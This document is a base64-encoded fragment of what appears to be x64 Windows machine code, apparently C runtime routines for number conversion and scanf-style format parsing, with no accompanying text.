g/gBD4TXAAAARYXtD4TOAAAARYvGRYvORIvQQYvRQf/BQYvAi4yVJAMAAEkPr8pIA8hMi8GJjJUkAwAAScHoIEU7zXXWRYXAD4SLAAAAg70gAwAAc3NZi4UgAwAARImEhSQDAABEi60gAwAAQf/FRImtIAMAAOtoRTPJRIm1kAgAAEyNhZQIAABEibUgAwAAuswBAABIjY0kAwAA6AwuAABEi60gAwAAQYrG6QX///9FM8lEibWQCAAATI2FlAgAAESJtSADAAC6zAEAAEiNjSQDAADo1C0AAESLrSADAABFheQPhI4AAABFi8ZFhe10LUGLyEH/wEGLxIuUjSQDAABIA9CJlI0kAwAARIutIAMAAEjB6iBEi+JFO8V100WF5HRUQYP9c3MeQYvFRImkhSQDAABEi60gAwAAQf/FRImtIAMAAOswRTPJRIm1kAgAAEyNhZQIAABEibUgAwAAuswBAABIjY0kAwAA6D0tAABEi60gAwAARItMJDBIi0QkWEQ5MH0DRCsIuM3MzMxEiUwkMEH34UG8AQAAAEjHhfQEAAABAAAAi8JEiaXwBAAAwegDiUQkOIvIiUQkUIXAD4QSBAAAi8G6JgAAADvKD0fCM9KJRCRIjXj/SI0FVOT8/w+2jLjyTgQAD7a0uPNOBACL2UjB4wJMi8ONBA5IjY2UCAAAiYWQCAAA6IZV//9IjQ0f5Pz/SMHmAg+3hLnwTgQASI2R4EUEAEiNjZQIAABMi8ZIA8tIjRSC6NYBAQCLvZAIAACD/wEPh+oAAACLhZQIAACFwHU8RTPJRIm1wAYAAEyNhcQGAABEibXwBAAAuswBAABIjY30BAAA6CwsAABEi6XwBAAAsAG/zAEAAOkgAwAAg/gBdO9FheR06kWLxkWLzkyL0EGL0UH/wUGLwIuMlfQEAABJD6/KSAPITIvBiYyV9AQAAEnB6CBFO8x11kWFwHSrg73wBAAAc3Mhi4XwBAAARImEhfQEAABEi6XwBAAAQf/ERIml8AQAAOuIRTPJRIm1kAgAAEyNhZQIAABEibXwBAAAuswBAABIjY30BAAA6IQrAABEi6XwBAAAQYrG6VL///9MjYWUCAAASI2N9AQAAEGD/AEPh9UAAACLnfQEAABMi8+JvfAEAAC/zAEAAIvXScHhAug+KwAAhdt1HUSJtZAIAABMjYWUCAAARIm18AQAAEUzyekMAgAARIul8AQAAIP7AQ+EEgIAAEWF5A+ECQIAAEWLxkWLzkyL00GL0UH/wUGLwIuMlfQEAABJD6/KSAPITIvBiYyV9AQAAEnB6CBFO8x11kWFwA+ExgEAAIO98AQAAHNzJIuF8AQAAESJhIX0BAAARIul8AQAAEH/xESJpfAEAADpoAEAAESJtZAIAABMjYWUCAAA6RoCAABBO/xIjZWUCAAARYvWD5LAhMBBi8aJhcAGAABID0TRSI2N9AQAAEkPRMhIiVQkYEWLxEQPRcdBD0X8RIlEJEBFhcAPhBYBAABMi+FBi8qLNIqF9nUgRDvQD4X0AAAAQY1CAUSJtI3EBgAAiYXABgAA6d0AAABFi95Fi8qF/w+EwAAAAEGL2vfbQYP5c3RgRDvIdRtBi8FBjUoBRIm0hcQGAABCjQQLA8iJjcAGAABCjQQLRYvBQYsUhEH/wUGLw0gPr9ZIA9BCi4SFxAYAAEgD0EKNBAtMi9pCiZSFxAYAAEnB6yA7x4uFwAYAAHWaRYXbdEtBg/lzdEVEO8h1FUGLwUSJtIXEBgAAQY1BAYmFwAYAAEGLyUH/wUGL04uEjcQGAABIA9CJlI3EBgAAi4XABgAASMHqIESL2oXSdbVEi0QkQEGD+XMPhMAAAABIi1QkYEH/wkU70A+F7f7//0SLyEyNhcQGAABJweECv8wBAACJhfAEAABIi9dIjY30BAAA6AIpAABEi6XwBAAAsAGEwA+EqwAAAItMJFArTCRIiUwkUA+F9/v//4tEJDhEi0wkMI0EgAPARCvIdEBBjUn/SI0FSeD8/4uEiIhPBACFwHV1RTPJRIl1gEyNRYREibXwBAAAuswBAABIjY30BAAA6JMoAABEi6XwBAAARYXtD4UiAQAAQYvW6TkBAABEiXWATI1FhL/MAQAARTPJRIm18AQAAEiL10iNjfQEAADoVSgAAESLpfAEAABBisbpTf///0iL1+t4g/gBdLBFheR0q0WLxkWLzkyL0EGL0UH/wUGLwIuMlfQEAABJD6/KSAPITIvBiYyV9AQAAEnB6CBFO8x11kWFwA+EaP///4O98AQAAHNzJIuF8AQAAESJhIX0BAAARIul8AQAAEH/xESJpfAEAADpQv///7rMAQAARTPJRIl1gEyNRYREibXwBAAASI2N9AQAAOirJwAASItEJHBMi0QkWEiLyEGKmAgDAABEOHAIdBTorOH//4TbQQ+VxknB5j9MiTDrEujU4f//hNtBD5XGQcHmH0SJMLgCAAAA6dEEAABBjVX/RIl0JEgPvYSVJAMAAHQE/8DrA0GLxsHiBQPQRYXkdQVBi87rIEGNTCT/RIl0JEgPvYSN9AQAAHQE/8DrA0GLxsHhBQPIi8G7cgAAACvCQbn/////O9Eb/0SNU64j+Il8JDAPhoUBAACL90SJdCQ8RIvHg+YfQYvCQcHoBSvGjXuPi8iJRCRISNPn/8+Lx/fQiUQkOEGNRf8PvYyFJAMAAHQE/8HrA0GLzkGLwivBO/BDjQQoQQ+XwYP4c0SITCQ0D5fCg/hzdQexAUWEyXUDQYrOhNIPhdkAAACEyQ+F0QAAADvDRIvTRA9C0Lj/////RIlUJDxEO9APhIUAAACLXCRIQYvSRItUJDhBK9BCjQQCQTvAcl5BO9VzCkSLnJUkAwAA6wNFi96NQv9BO8VzCkSLjIUkAwAA6wNFi85FI8pCjQQCi8tEI99B0+mLzkHT47n/////A9FFC8tEiYyFJAMAAEKNBAI7wXQJRIutIAMAAOuZRItUJDy7cgAAAESKTCQ0QYvORYXAdBGLwf/BRIm0hSQDAABBO8h170WEyUGNQgFFi+pED0XoRImtIAMAAOsqRTPJRIl1gEyNRYREibUgAwAAuswBAABIjY0kAwAA6IclAABEi60gAwAAi3wkMEG5/////0G6IAAAAItMJFSLRCREK8iJTCRURIvZhcB0ETv5dgpBsQGL0OmbAgAARCvfRTvsd0NzBLEB60BBjVX/QTvRdDSLhJX0BAAAi8o5hJUkAwAAdQhBA9FBO9F15kE70XQVi4SV9AQAADmElSQDAACLyg+WwesDQYrOhMlEiXQkPI1HAUWLww9F+L4BAAAAQYPjH0HB6AVBi8KJfCQwQSvDi8iJRCRISNPm/86LxvfQiUQkOEGNRf+LyA+9hIUkAwAAdAT/wOsDQYvGRCvQQ40EKEU72kEPl8SD+HNEiGQkNA+XwoP4c3UHsQFFhOR1A0GKzoTSD4XEAAAAhMkPhbwAAAA7ww9C2IlcJDxBO9kPhIAAAABEi2QkSIvTi1wkOEEr0EKNPAJBO/hyXEE71XMKRIuUlSQDAADrA0WL1o1C/0E7xXMKRIuMhSQDAADrA0WLzkQjy0GLzEHT6UQj1kGLy0HT4rn/////A9FFC8pEiYy9JAMAAEKNBAI7wXQJRIutIAMAAOubi1wkPIt8JDBEimQkNEGLzkWFwHQRi8H/wUSJtIUkAwAAQTvIde9FhOSNQwEPRdiJnSADAADrI0UzyUSJdYBMjUWERIm1IAMAALrMAQAASI2NJAMAAOiXIwAASI2V8AQAAEiNjSADAADo3AEAAEQ5tSADAABMi8i4/////w+Uw0w7yHYYSYvJSMHpIA+9yXQE/8HrA0GLzoPBIOsNQQ+9yXQE/8HrA0GLzot0JFQ7znYeK86E23QSuAEAAACzAUjT4Ej/yEmFwXQDQYreSdPpRItUJERFhf9Fi95Fi8ZED0WdVAEAAIvOQYP/AUGNQv5ED0eFWAEAAIPK/yvXRYXSRYvQTItEJFgPRdBJweIgQYvDTItcJHBMA9BFioAIAwAASdPiTIlcJCBLjQwRRIrL6FXd///rK0WFyUEPlcGL0UyLRCRYSI2NUAEAAEyLXCRwTIlcJCBFioAIAwAA6Nzg//9Ii41gCgAASDPM6On0AABIi5wkwAsAAEiBxHALAABBX0FeQV1BXF9eXcPMzEiJXCQIV0iD7DBEikoITIvZQYrBM8n22EiL+kGLG02NUwhBi0MESY1TCEUbwP/LQYPgHUwD0EGDwBhBA9hJO9J0NEH22Ui4AAAA////HwBNG8BMI8BJgcD///8ASTvIdxUPtgKD6wRIweEESP/CSAPISTvSdeZBsQHrEUWEyXQRigJI/8KEwHTtRTLJSTvSdepFioMIAwAAi9NIiXwkIOhY3P//SItcJEBIg8QwX8PMzMzMzMzMzMzMzMzMSIlUJBBWV0iB7EgCAABEiwlIi/pIi/FFhcl1DDPASIHESAIAAF9ew4sChcB07kiJnCRAAgAAQf/JSImsJDgCAABMiaQkMAIAAEyJtCQgAgAATIm8JBgCAACD6AEPhfIAAABEi3oERTP2QYP/AXUoi1kETI1EJERIg8EERIk2RTPJRIl0JEC6zAEAAOgYIQAAi8PpBQQAAEWFyXU5i1kETI1EJEREiTFFM8lIg8EERIl0JEC6zAEAAOjrIAAAM9KLw0H394XSiVYEQQ+VxkSJNunHAwAAQbz/////SYv+SYvuRTvMdC9Ji88PH4AAAAAAQotEjgQz0kjB5SBFA8xIC8VIwecgSPfxi8BIi+pIA/hFO8x120UzyUSJdCRATI1EJEREiTa6zAEAAEiNTgTodSAAAEiLzYluBEjB6SBIi8eFyYlOCEEPlcZB/8ZEiTbpSAMAAEE7wXYHM8DpPAMAAEWLwUlj0UQrwEyJrCQoAgAASWPYRI1oAUWL0Ug703xMSIPBBEiNBJ0AAAAATIvfTCvYTCveSI0MkQ8fgAAAAACLAUE5BAt1EUH/ykj/ykiD6QRIO9N96esTSWPCSIvISCvLi0SGBDlEjwRzA0H/wEWFwHUHM8DpuQIAAEGNRf9BuyAAAABEi1SHBEGNRf6LXIcEQQ+9womcJHgCAAB0CbofAAAAK9DrA0GL00Qr2omUJHACAABEiVwkIIXSdEBBi8KL00GLy9Pqi4wkcAIAAESL0tPgi9HT40QL0ImcJHgCAABBg/0CdhZBjUX9QYvLi0SHBNPoC9iJnCR4AgAARTP2QY1Y/4mcJGACAABFi/6F2w+I3wEAAEGLw0KNPCtFi9pBvP////9MiVwkMEiJRCQ4QTv5dwaLbL4E6wNBi+6NR/+LTIYEjUf+RItUhgRIiUwkKIlsJCyF0nQySItMJDhFi8JIi0QkKEnT6IvKSNPgTAvAQdPig/8DcheLTCQgjUf9i0SGBNPoRAvQ6wVMi0QkKDPSSYvASffzi8pMi8BJO8R2F0i4AQAAAP////9JA8BNi8RJD6/DSAPISTvMd0RIi1wkMEWL2kSLlCR4AgAAQYvSSQ+v0En32mYPH0QAAEiLwUjB4CBJC8NIO9B2Dkn/yEkD0kgDy0k7zHbji5wkYAIAAE2FwA+EwAAAAEmLzkWF7XRYTIuMJGgCAACL00mDwQRBi91mZg8fhAAAAAAAQYsBSQ+vwEgDyIvCRIvRSMHpIEyNHIaLRIYEQTvCcwNI/8FBK8L/wkmDwQRBiUMESIPrAXXKi5wkYAIAAIvFSDvBc05Fi85Fhe10Q0yLnCRoAgAARIvTSYPDBEGL3WaQQYvCTY1bBItUhgRIjQyGQYtD/EH/wkgD0EGLwUgD0EyLyolRBEnB6SBIg+sBddFJ/8iLnCRgAgAARI1P/0yLXCQw/8uLlCRwAgAA/89JwecgQYvATAP4iZwkYAIAAIXbD4k7/v//Qf/BQYvJRDsOcw2Lwf/BRIl0hgQ7DnLzRIkORYXJdBtmZg8fhAAAAAAAixb/ykQ5dJYEdQaJFoXSde9Ji8dMi6wkKAIAAEyLtCQgAgAATIukJDACAABIi6wkOAIAAEiLnCRAAgAATIu8JBgCAABIgcRIAgAAX17DzMxIiVwkCEiJdCQQV0iD7CAz9kiL+Ug5MXUijVYBuQAgAADokkQAAEiLD0iL2OgvQwAAM8lIiR/oJUMAAEiLD0iNgQAgAABMi8BMK8FIO8hMD0fGTYXAdBRIi9FI99r2EUj/wUiNBApJO8B18kiLXCQwSIt0JDhIg8QgX8PMi0EwRTPAhcB4HIP4AX57QY1QCIP4Bn4lg/gHdAw7wnRpg/gJdBczwMOLQSiFwHRRg/gDdFE7wkkPRdDrSYtJKIP5BX8tdD+FyXQ2g+kBdBuD6QF0D4PpAXQng/kBdCdJi9DrIroCAAAA6xu6AQAAAOsUg+kGdA+D6QF0CoPpAuvXugQAAABIi8LDikEs9thIG8BI99hI/8DDzMzMSIlcJAhIiXQkEFdIg+wgSItBGEiL2UiFwHQGSDtBEHYY6MJJAADHABYAAADo80UAAIPI/+mlAAAASIN5KAB1E+ijSQAAg8//xwAWAAAA6YAAAABIg8Eg6xBIi8vorwYAAITAdA1IjUsg6BrS//+EwHXnSIO7kAAAAACLs4gAAAB1PEiLQxiDz/9IO0MQdQSLz+sOD74ISP/ASIlDGDvPdQKL90iLQxhIO0MIdBFIO0MQdQQ7z3QHSP/ISIlDGPYDAXQZi1swhdt0EugZSQAAi/6JGOhMRQAAi8frAovGSItcJDBIi3QkOEiDxCBfw8zMSIlcJAhXSIPsIEiLQRhIi9lIhcB0Bkg7QRB2GOjXSAAAxwAWAAAA6AhFAACDyP/ppgAAAEiDeSgAdRPouEgAAIPP/8cAFgAAAOmFAAAASIPBIOsQSIvL6HgGAACEwHQNSI1LIOj/0v//hMB150iDe3gAi3twdUlIi0MYSDtDEHUKuP//AAAPt9DrFQ+3EEiDwAJIiUMYuP//AABmO9B1A4PP/0iLSxhIO0sIdBNIO0sQdQVmO9B0CEiNQf5IiUMY9gMBdBOLWzCF23QM6CdIAACJGOhcRAAAi8dIi1wkMEiDxCBfw8zMzEiJXCQIV0iD7CCLUVBIi9mD+gUPj4cAAAB0fjP/hdJ0P4PqAXQrg+oBdCKD6gF0DYP6AXV/jVcI6dEAAAC6CgAAAEG4AQAAAOnEAAAAM9Lr8boBAAAA6EkGAADptgAAAEiDwSDoI/3//0iD6AF0FUiD6AF1H0UzwDPSSIvL6LbK///rDUUzwDPSSIvL6P/G//9AivhAisfrfboKAAAA626D6gZ0ZIPqAXRYg+oBdCiD+gF0BDLA614z/0A4eTp0BY1HAetRSItRGEUzwEgrUQjooxUAAOs/SIPBIOis/P//SIPoAXQTSIPoAXQEM//rpEUzwEGNUAjrgUUzwEGNUAjrh+hVAQAA6w26EAAAAEUzwOguAgAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgi1FQSIvZg/oFD4+SAAAAD4SFAAAAM/+F0nRDg+oBdC+D6gF0JoPqAXQRg/oBD4WCAAAAjVcI6d0AAAC6CgAAAEG4AQAAAOnQAAAAM9Lr8boBAAAA6KkFAADpwgAAAEiDwSDo9/v//0iD6AF0FUiD6AF1H0UzwDPSSIvL6IrL///rDUUzwDPSSIvL6JvH//9AivhAisfphgAAALoKAAAA63eD6gZ0bYPqAXRhg+oBdCuD+gF0BDLA62cz/0A4eTx0BY1HAetaSItRGEUzwEgrUQhI0fro9RQAAOtFSIPBIOh6+///SIPoAXQWSIPoAXQEM//rnkUzwEGNUAjpeP///0UzwEGNUAjpe////+iNAAAA6w26EAAAAEUzwOimAQAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgSItReEiL2UiDwQjogsz//4vISItDGEg7Qwh0Ekg7QxB1BYP5/3QHSP/ISIlDGEiNSyDo7/r//0iD+AR0FEiD+Ah0BDLA6xJIi8vok8P//+sISIvL6EXC//9Ii1wkMEiDxCBfw8zMSIlcJAhXSIPsIEiLUWBIi9lIg8EI6KLM//8Pt8hIi0MYSDtDCHQYSDtDEHUKuv//AABmO8p0CEiDwP5IiUMYSI1LIOh4+v//SIP4BHQUSIP4CHQEMsDrEkiLy+jEw///6whIi8vodsL//0iLXCQwSIPEIF/DzMzMSIlcJBBIiWwkGEiJdCQgV0iD7ECL6kiNeQhIi1F4SIvZSIvPQYrw6IjL//+LyEiLRxBIOwd0Ekg7Rwh1BYP5/3QHSP/ISIlHEEyLQ0BMjUwkUEiL18ZEJFAASI1MJCDouIn//0iLS3hIi9BEis5Ei8XoarP//4B8JFAAdQQywOsYgHs6AHQEsAHrDkGwAUiL0EiLy+ibEgAASItcJFhIi2wkYEiLdCRoSIPEQF/DzMxIiVwkEEiJbCQYSIl0JCBXSIPsQIvqSI15CEiLUWBIi9lIi89BivDoaMv//w+3yEiLRxBIOwd0GEg7Rwh1Crr//wAAZjvKdAhIg8D+SIlHEEyLQ0BMjUwkUEiL18ZEJFAASI1MJCDoAYn//0iLS2BIi9BEis5Ei8XoR7f//4B8JFAAdQQywOsYgHs8AHQEsAHrDkGwAUiL0EiLy+hoEgAASItcJFhIi2wkYEiLdCRoSIPEQF/DzMzMSIlcJAhXSIPsIA+2+kiL2ej3fwAAuQCAAABmhQx4dF5Ii0MYSDtDEHUFg8n/6woPvghI/8BIiUMYD7ZDOTvIdD1Ii0MYSDtDCHQSSDtDEHUFg/n/dAdI/8hIiUMYSItDGEg7Qwh0E0g7QxB1BkCA//90B0j/yEiJQxgywOsCsAFIi1wkMEiDxCBfw8xIiVwkCFdIg+wgSIvZi0k0g+kCdGeD6QF0IIP5AXVNSIvL6KH6//+KyDLAhMl0B0j/g5AAAACKwetvSItDGEg7QxB0KA++CEj/wEiJQxiD+f90GQ+2Qzg7yHQVSItDGEg7Qwh0B0j/yEiJQxgywOs5itFIi8vo+v7//+stSItTeEiNSwjoN8n//4vISItDGEg7Qwh0Ekg7QxB1BYP5/3QHSP/ISIlDGLABSItcJDBIg8QgX8NIiVwkCFdIg+wgSIvZi0k0g+kCdF6D6QF0IoP5AXVQSIvL6BH7//+KyDLAhMl0CbgBAAAASAFDeIrB625Ii0MYSDtDEHQpD7cQuf//AABIg8ACSIlDGGY70XQUZjtTOHRESDtDCHQISIPA/kiJQxgywOs3SItTYEiNSwjoHMn//w+30EiLQxhIO0MIdBhIO0MQdQq5//8AAGY70XQISIPA/kiJQxi4AQAAAEiLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgi/JIi9mD+gF1K0iLUXhIg8EI6C7I//+LyEiLQxhIO0MIdBJIO0MQdQWD+f90B0j/yEiJQxhIjUsg6Jv2//9Ig+gBdBlIg+gBdAQywOscRTPAi9ZIi8voKsT//+sNRTPAi9ZIi8voc8D//0iLXCQwSIt0JDhIg8QgX8PMzMxIiVwkCEiJdCQQV0iD7CCL8kiL2YP6AXUySItRYEiDwQjoMsj//w+3yEiLQxhIO0MIdBhIO0MQdQq6//8AAGY7ynQISIPA/kiJQxhIjUsg6Aj2//9Ig+gBdBlIg+gBdAQywOscRTPAi9ZIi8vol8X//+sNRTPAi9ZIi8voqMH//0iLXCQwSIt0JDhIg8QgX8NMi0EISIvRQQ+2AIP4ZA+P+wAAAA+E6QAAAIP4U39OD4QwAQAAg/hBD4R8AQAAg/hDdFaD+ER+EoP4Rw+OaQEAAIP4SQ+EVwEAADPASMdBEBYAAABmiUEYiEEaSIlBIIlBKIhBLIlBMOlOAQAAg/hYD4TNAAAAg/hbdFGD+GEPhCYBAACD+GN1wTPASDlBIHUISMdBIAEAAABEi0koQYP5AnUDiEEsQY1J/ffB+v///3UKQYP5B3QExkIsAUmNSAGJQjBIiUoI6e0AAACLSSiD+QJ1BTPAiEIsjUH9qfr///91CYP5B3QExkIsAUmNQAHHQjAIAAAASIvKSIlCCOntBwAAx0EwAwAAAOmiAAAAg/hnD46SAAAAg/hpD4SAAAAAg/hudHKD+G90ZIP4cHRWg/hzdCCD+HV0EoP4eA+FB////8dBMAYAAADrZcdBMAUAAADrXItJKIP5AnUFM8CIQiyNQf2p+v///3UJg/kHdATGQiwBSY1AAcdCMAEAAABIiUII6zPHQSgKAAAA67THQTAEAAAA6xnHQTAJAAAA6xDHQTACAAAA6wfHQTAHAAAASY1AAUiJQQiwAcNMi0EISIvRQQ+3AIP4ZA+P+gAAAA+E6AAAAIP4U39ND4QvAQAAg/hBD4R7AQAAg/hDdFWD+ER+EoP4Rw+OaAEAAIP4SQ+EVgEAADPASMdBEBYAAACJQRiIQRxIiUEgiUEoiEEsiUEw6U4BAACD+FgPhM0AAACD+Ft0UYP4YQ+EJgEAAIP4Y3XCM8BIOUEgdQhIx0EgAQAAAESLSShBg/kCdQOIQSxBjUn998H6////dQpBg/kHdATGQiwBSY1IAolCMEiJSgjp7QAAAItJKIP5AnUFM8CIQiyNQf2p+v///3UJg/kHdATGQiwBSY1AAsdCMAgAAABIi8pIiUII6cYHAADHQTADAAAA6aIAAACD+GcPjpIAAACD+GkPhIAAAACD+G50coP4b3Rkg/hwdFaD+HN0IIP4dXQSg/h4D4UI////x0EwBgAAAOtlx0EwBQAAAOtci0kog/kCdQUzwIhCLI1B/an6////dQmD+Qd0BMZCLAFJjUACx0IwAQAAAEiJQgjrM8dBKAoAAADrtMdBMAQAAADrGcdBMAkAAADrEMdBMAIAAADrB8dBMAcAAABJjUACSIlBCLABw8xAU0iD7CBIi9lIi0kIigEsMDwJdwgPvgGDwNDrI4oBLGE8GXcID74Bg8Cp6xOKASxBPBl3CA++AYPAyesDg8j/g/gJdgSwAetYSINkJDAASI1UJDBBuAoAAADo0SUAAEiFwHQVSItMJDBIO0sIdApIiUMgSIlLCOvMg2MUAEiDYyAAg2MoAINjMAAywGbHQxgAAMZDGgDGQywAx0MQFgAAAEiDxCBbw8xIiVwkEFdIg+wgSIvZujAAAABIi0kIZjkRD4KfAQAAZoM5OnMKD7cBK8LpigEAALoQ/wAAZjkRD4NrAQAAumAGAABmOREPgnMBAACNQgpmOQFy0rrwBgAAZjkRD4JdAQAAjUIKZjkBcry6ZgkAAGY5EQ+CRwEAAI1CCmY5AXKmjVB2ZjkRD4IzAQAAjUIKZjkBcpKNUHZmOREPgh8BAACNQgpmOQEPgnr///+NUHZmOREPggcBAACNQgpmOQEPgmL///+NUHZmOREPgu8AAACNQgpmOQEPgkr///+6ZgwAAGY5EQ+C1QAAAI1CCmY5AQ+CMP///41QdmY5EQ+CvQAAAI1CCmY5AQ+CGP///41QdmY5EQ+CpQAAAI1CCmY5AQ+CAP///7pQDgAAZjkRD4KLAAAAjUIKZjkBD4Lm/v//jVB2ZjkRcneNQgpmOQEPgtL+//+NUEZmORFyY41CCmY5AQ+Cvv7//7pAEAAAZjkRck2NQgpmOQEPgqj+//+64BcAAGY5EXI3jUIKZjkBD4KS/v//jVAmZjkRciONQgpmOQFzG+l9/v//uBr/AABmOQEPgm/+//+DyP+D+P91NQ+3AWaD6EFmg/gZdhIPtwFmg+hhZoP4GXYFg8j/6xYPtwFmg+hhZoP4GQ+3AXcDg+ggg8DJg/gJdgSwAetOM/9IjVQkMEiJfCQwRI1HCugHJAAASIXAdBVIi0wkMEg7Swh0CkiJQyBIiUsI681Ix0MQFgAAADLAiXsYQIh7HEiJeyCJeyhAiHssiXswSItcJDhIg8QgX8PMzMxIi0EIgDhJD4TEAAAAgDhMD4SsAAAAgDhUD4SUAAAAgDhodGqAOGp0VoA4bHQsgDh0dBiAOHoPhe8AAABI/8DHQSgGAAAASIlBCMNI/8DHQSgHAAAASIlBCMNIjVABgDpsdRBIg8ACx0EoBAAAAEiJQQjDSIlRCMdBKAMAAADDSP/Ax0EoBQAAAEiJQQjDSI1QAYA6aHUQSIPAAsdBKAEAAABIiUEIw0iJUQjHQSgCAAAAw0j/wMdBKAsAAABIiUEIw0j/wMdBKAgAAABIiUEIw0yNQAFBihCA+jN1FoB4AjJ1EEiDwAPHQSgJAAAASIlBCMOA+jZ1EIB4AjR1CkiDwANIiUEI6xyA6liA+iB3G0i4ARCCIAEAAABID6PQcwtMiUEIx0EoCgAAAMNIi0EID7cQg/pJD4TXAAAAg/pMD4S+AAAAg/pUD4SlAAAAQbhoAAAAQTvQdHSD+mp0X0G4bAAAAEE70HQug/p0dBmD+noPhf0AAABIg8ACx0EoBgAAAEiJQQjDSIPAAsdBKAcAAABIiUEIw0iNUAJmRDkCdRBIg8AEx0EoBAAAAEiJQQjDSIlRCMdBKAMAAADDSIPAAsdBKAUAAABIiUEIw0iNUAJmRDkCdRBIg8AEx0EoAQAAAEiJQQjDSIlRCMdBKAIAAADDSIPAAsdBKAsAAABIiUEIw0iDwALHQSgIAAAASIlBCMNMjUACQQ+3EGaD+jN1F2aDeAQydRBIg8AGx0EoCQAAAEiJQQjDZoP6NnURZoN4BDR1CkiDwAZIiUEI6x5mg+pYZoP6IHcbSLgBEIIgAQAAAEgPo9BzC0yJQQjHQSgKAAAAw8zMzEiJXCQISIl0JBBXSIPsIEiNeTQz9kiL2UiF/3UlSMdBEAwAAABmiXEYQIhxGkiJcSCJcShAiHEsiXEwMsDpQQEAADPSSIvPRI1CIOjQMf//SItDCIA4XkEPlMNFhNt0B0j/wEiJQwhIi0MIgDhddQtI/8BIiUMIgEs/IEyLUwhBgDpdD4SZAAAASItDCIoQhNIPhIsAAACA+i11Tkk7wnRJikgBgPlddEGKUP860XYGisKK0YrI/sHrKkQPtsJJwegDD7bCRQ+2TBg0JQcAAIB9B//Ig8j4/8BBD6vBRYhMGDT+wjrRddLrJw+2ykjB6QMPtsJED7ZEGTQlBwAAgH0H/8iDyPj/wEEPq8BEiEQZNEj/QwhIi0MIgDhdD4Vn////SItDCEA4MHUjSMdDEBYAAABmiXMYQIhzGkiJcyCJcyhAiHMsiXMw6e3+//9FhNt0KkiNRyBIi9BIK9dIO/hID0fWSIXSdBRMi8dJ99j2F0j/x0mNDDhIO8p18kj/QwiwAUiLXCQwSIt0JDhIg8QgX8PMSIlcJBBIiWwkGEiJdCQgV0FUQVVBVkFXSIPsIEiNcThFM+RIi/m4AQAAAL0AIAAATDkmdXOL0IvN6EYvAABIiw5Ii9jo4y0AADPJSIke6NktAABMOSZ1J0jHRxAMAAAARIlnGESIZxwywEyJZyBEiWcoRIhnLESJZzDpQQEAALgBAAAATDkmdR+L0EiLzejxLgAASIsOSIvY6I4tAAAzyUiJHuiELQAASIsOSIXJdApMi8Uz0ujSL///SItHCGaDOF5BD5TGRIh0JFBFhPZ0CEiDwAJIiUcISItHCEG9XQAAAGZEOSh1E0iDwAJBi9VIi85IiUcI6OUAAABMi38IZkU5Lw+EggAAAEG+AQAAAEiLRwgPtxBmhdJ0a2aD+i11Tkk7x3RJD7dYAmZBO910Pw+3aP5mO+t2CQ+3xQ+36w+32GZBA95mO+t0LEG8AQAAAA+31UiLzuiEAAAAZkED7GY763XsRTPkRY10JAHrCEiLzuhpAAAASINHCAJIi0cIZkQ5KHWJRIp0JFBIi0cIZkQ5IHUUSMdHEBYAAADHRxgAAAAA6bv+//9FhPZ0CEiLzugW6f//SINHCAK4AQAAAEiLXCRYSItsJGBIi3QkaEiDxCBBX0FeQV1BXF/DzMzMSIlcJAhIiXQkEFdIg+wgSIM5AA+38kiL+XUkugEAAAC5ACAAAOh6LQAASIsPSIvY6BcsAAAzyUiJH+gNLAAATIsHD7fWSMHqAw+3xkIPtgwCJQcAAIB9B//Ig8j4/8BIi1wkMA+rwUiLdCQ4QogMAkiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIDPtRA+38kiL8b8BAAAASDkpdSGL17kAIAAA6PQsAABIiw5Ii9jokSsAADPJSIke6IcrAABBD7fOgeEHAACAfQcrz4PJ+APPSItcJDBIi2wkONPnSIsOSIt0JEBBD7fWSMHqA4oUCkCE+kiLfCRID5XASIPEIEFew8zMzEiLxEiJWBBIiXAYV0iD7CAPtnwkWEmL8UCIeDBIi9nGQDEA6GBvAAC5AIAAAGaFDHh0HUiLQxhIO0MQdQWDyf/rCg++CEj/wEiJQxiITCRZTItLeEiNVCRYuD8AAABIjUwkMGaJRCQwSYsBTGNACOiMMgAASIsGSItcJDhAD77PZokISItEJFBIgwYCSIt0JEBI/wiwAUiDxCBfw0iLxEiJWAhIiXAQV0iD7DCDYBgASI1IGEmL2UQPt0wkaEiL8kiLE0mD+P91LUG4BQAAAOgANQAAhcB0DIP4FnRTg/gidTzrTEhjTCRQSItEJGBIAQtIKQjrKEiLfCRgTIsH6NE0AACD+CJ1B8YGADLA6xFIY0QkUIXAfgZIAQNIKQewAUiLXCRASIt0JEhIg8QwX8NIg2QkIABFM8lFM8Az0jPJ6PctAADMzMxIiVwkCFdIg+wgSIOBgAAAAAhIi/pIi4GAAAAASItY+EiF23UU6G4xAADHABYAAADony0AADLA60BFhMB0B0j/gYgAAABIg8Eg6Mbm//9Ig+gBdCBIg+gBdBVIg+gCdAtIg+gEdc9IiTvrDIk76whmiTvrA0CIO7ABSItcJDBIg8QgX8NIiVwkCFdIg+wgSINBaAhIi/pIi0FoSItY+EiF23UU6PAwAADHABYAAADoIS0AADLA6z1FhMB0BEj/QXBIg8Eg6Evm//9Ig+gBdCBIg+gBdBVIg+gCdAtIg+gEddJIiTvrDIk76whmiTvrA0CIO7ABSItcJDBIg8QgX8PMSIvESIlYCEiJcBBIiXgYVUFWQVdIjWjYSIHsEAEAAEiLBeopBABIM8RIiUUARTP/SYvxSYvYSIv6TIvxSIXSdRnoUjAAAMcAFgAAAOiDLAAASIPI/+nEAAAATYXJdOJIg8j/SDvYdQxIi9hI/8NEODwadfdIi1VQSI1MJDjoZj3//0iNBDtIiXwkIDPSSIlEJCgPEEQkIEiJfCQwSI1NtPIPEEwkMESNQiBMiXQkYA8RRCRoTIl1gPIPEUwkeEiJdYhEiX2Q6I0q//9IjUQkQESJfZRIiUXYSI1MJGBIi0VYSIlF4GZEiX2YRIh9mkyJfaBEiX2oRIh9rESJfbBMiX3oTIl98Oil5f//RDh8JFB0DEiLTCQ4g6GoAwAA/UiLTQBIM8zortMAAEyNnCQQAQAASYtbIEmLcyhJi3swSYvjQV9BXl3DzEiLxEiJWAhIiXAQSIl4GFVBVkFXSI1osUiB7OAAAABFM/9Ji/FJi9hIi/pMi/FIhdJ1GegYLwAAxwAWAAAA6EkrAABIg8j/6bwAAABNhcl04kiDyP9IO9h1DUiL2Ej/w2ZEOTxadfZIi1V3SI1NF+gsPP//SI0EX0iJfCQgSIlEJChIjU2XDxBEJCBIjUUfSIl9h/IPEE2HSIlF90iLRX9IiUX/TIl1lw8RRZ9MiXW38g8RTa9IiXW/TIl9x0yJfe9EiX3P